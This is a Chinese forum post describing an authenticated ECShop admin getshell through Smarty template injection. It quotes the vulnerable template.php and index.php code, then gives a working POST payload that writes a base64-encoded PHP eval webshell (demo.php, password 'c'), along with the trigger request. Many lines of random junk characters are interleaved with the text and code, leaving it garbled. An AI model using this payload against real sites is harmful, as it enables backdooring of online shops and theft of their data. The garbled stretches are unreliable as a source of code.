Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

& f" S  X  f, Y( ]- N而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
' l% w- v' c. c6 s0 K, k但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php
# t5 P$ I7 y. G( o. Y9 k8 Q* o; A
1 if ($_REQUEST['act'] == 'update_library')
" B, H# |) n" n' y" X+ {# q
2   
+ h- Y3 q( ~, M! F0 j/ ^; U% m2 E
3 {
5 s1 N3 O+ Y9 g* ^; K" p& d: x
4     check_authz_json('library_manage');
0 m+ t9 @. [8 a: B9 N
0 Y) N2 d; i8 p$ j+ W5   
* ~7 }/ a0 n- D) M. o9 ^2 x% c# P8 x
; m( k. e, ^- c; n8 W- y6     $html = stripslashes(json_str_iconv($_POST['html']));

4 T% ]8 |3 A  J1 L  ~; {1 W7   
- g9 c, L- f2 \+ Z$ N" f3 ~
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
$ [" s" H5 ~6 R, `- }8 B
& z$ w# x' T) t- \+ V9   
$ ?8 i  h( ~- c$ {- t
! w/ P+ D* @* T3 k: j4 o7 I10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

11   

12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

7 R4 r! k2 R! H) Y5 T( \' g* ?, e/ U; s13   

. |/ O: f) f$ y6 M14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

4 ]# }& N4 M: }15     {

% K! E/ G* U8 N6 S16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
" K" ^% U$ f: z, t& G
17         make_json_result('', $_LANG['update_lib_success']);
$ Y4 c' b& @2 ]6 G$ q7 b
18     }
( v3 j# w  v5 T
6 q3 S/ _2 c" X' P8 ]8 n19     else
2 u1 C4 ^2 H+ U9 ^) a
20     {

7 S+ s: c2 W2 }9 o- c8 S$ \21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
8 K+ R* o$ X. y/ _7 C1 Q7 m6 [! U! R) T
) k9 ~; U* c& ]5 `22     }

23 }
( E, ]' B6 N+ M2 ^( t, d
  |  r2 v: q" ~" o3 a1 @那么找个比较方便调用了模板的文件
index.php

1 if ($act == 'cat_rec')

2   
/ g* V- N5 y6 Q% E" A$ c
+ _7 b* A) u4 X3 p& v# y; Y  T& i3 {
( @/ w: Z7 B; N
4   

5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
/ w+ o: \1 ^' K* z; H# @
6   
) y1 |2 h% T& y' N! p
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

; l# d1 V& S, P: L8   
2 z- f6 X! s- e1 x* D# r) T
  ^. M. u7 s0 |( u$ o) i4 C; ^5 j9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

10   
& t. A& H: O% G) Z" d1 v- _
, u. S' p" B( x# [8 \11     include_once('includes/cls_json.php');

12   
7 o* D0 T$ ^" u& I; |8 k
, ^* ~; j+ c7 K' v7 ^9 C13     $json = new JSON;

( z* z6 s7 B3 S* W! G; G9 H14   
! [8 \' o3 u9 i2 e$ d0 C3 e
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

' @0 o, z/ @2 t6 {% r16   
- X/ s. d" q9 ~; q- l
17     $children = get_children($cat_id);

( \- v! T: m% t. P) Z* m  x% X18   

* z$ R( N( n$ e- g19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

20   
# t; `( f+ j4 ]) e
21     $smarty->assign('cat_rec_sign', 1);
; b. \) N. Z1 b  r) Z) e- i
9 ~# \* a0 m6 k2 b. m1 H: O22   

23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
1 L$ O! Y! D/ v$ i4 ]2 u5 ~  n( g
24   

2 v5 K* G$ Q- p4 }" n25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

26   

27         echo $rec_array[$rec_type];

28   

29     die($json->encode($result));

( F, T* z/ n) a( D30   

31 }
$ O# }2 v0 Y- Q! {
  @( Q' \) R$ {+ s( T2 p那么就有利用方法了
1 L5 L' ?6 a# Y' m4 r. L# V- epost包到http://localhost/ec/admin/template.php?act=update_library
Post内容：
, c! @9 c7 ]+ g4 }6 S# c
# }4 I; B% @5 G! j# d- ?' R3 b  @​
5 X( B$ D; B1 r3 a$ l, I# e+ m1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
7 p3 `; l' ^& F' @( \% u6 l5 ]8 f/ \
然后访问http://localhost/ec/index.php?act=cat_rec
0 Z" S& d' ^0 P
+ f0 E) D# z9 X7 E8 w$ ~# Q# gshel地址：http://localhost/ec/demo.php
密码c
2 U. \1 ^3 z# ~
* L( ^2 K3 n- |, Y$ T